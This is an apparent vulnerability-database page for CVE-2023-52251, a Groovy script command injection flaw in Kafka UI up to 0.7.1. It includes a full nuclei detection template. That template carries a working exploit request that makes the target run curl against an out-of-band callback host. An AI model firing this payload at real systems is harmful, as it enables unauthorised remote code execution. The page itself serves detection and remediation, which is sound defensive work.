Browse / CVEs / CVE-2023-52251
CVE-2023-52251· provectus / ui· CWE-94
Kafka UI 0.7.1 Command Injection
highseverity
8.8CVSS score
86.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
An issue discovered in provectus kafka-ui 0.4.0 through 0.7.1 allows remote attackers to execute arbitrary code via the q parameter of /api/clusters/local/topics/{topic}/messages.
Impact
Authenticated attackers can inject and execute arbitrary commands via Groovy script injection in the filterQueryType parameter.
Fix
Upgrade Kafka UI to version 0.7.2 or later.
How to confirm it
Send: GET /api/clusters
Send: GET /api/clusters/{{cluster-name}}/topics?page=1&perPage=25&showInternal=true
Send: @timeout 20s
Positive when: contains in interactsh_protocol "http" AND contains "Assigning partitions"Run it with nuclei: nuclei -id CVE-2023-52251 -u <target>
The full check
id: CVE-2023-52251
info:
name: Kafka UI 0.7.1 Command Injection
author: yhy0,iamnoooob
severity: high
description: |
An issue discovered in provectus kafka-ui 0.4.0 through 0.7.1 allows remote attackers to execute arbitrary code via the q parameter of /api/clusters/local/topics/{topic}/messages.
impact: |
Authenticated attackers can inject and execute arbitrary commands via Groovy script injection in the filterQueryType parameter.
remediation: |
Upgrade Kafka UI to version 0.7.2 or later.
reference:
- http://packetstormsecurity.com/files/177214/Kafka-UI-0.7.1-Command-Injection.html
- https://github.com/BobTheShoplifter/CVE-2023-52251-POC
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2023-52251
cwe-id: CWE-94
epss-score: 0.8684
epss-percentile: 0.99746
cpe: cpe:2.3:a:provectus:ui:*:*:*:*:*:kafka:*:*
metadata:
verified: true
max-request: 3
vendor: provectus
product: ui
framework: kafka
fofa-query: icon_hash="-1477045616"
tags: cve,cve2023,rce,kafka,kafka-ui,packetstorm,vuln,vkev
http:
- raw:
- |
GET /api/clusters HTTP/1.1
Host: {{Hostname}}
extractors:
- type: json
name: cluster-name
internal: true
json:
- '.[0].name'
- raw:
- |
GET /api/clusters/{{cluster-name}}/topics?page=1&perPage=25&showInternal=true HTTP/1.1
Host: {{Hostname}}
extractors:
- type: json
name: topic-name
internal: true
json:
- '.topics[].name'
- raw:
- |
@timeout 20s
GET /api/clusters/{{cluster-name}}/topics/{{topic-name}}/messages?q=new+ProcessBuilder%28%22curl%22%2C%22{{interactsh-url}}%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- 'Assigning partitions'References
- http://packetstormsecurity.com/files/177214/Kafka-UI-0.7.1-Command-Injection.html
- https://github.com/BobTheShoplifter/CVE-2023-52251-POC
- https://github.com/nomi-sec/PoC-in-GitHub
Use this check only on systems you are authorised to test. Where the data comes from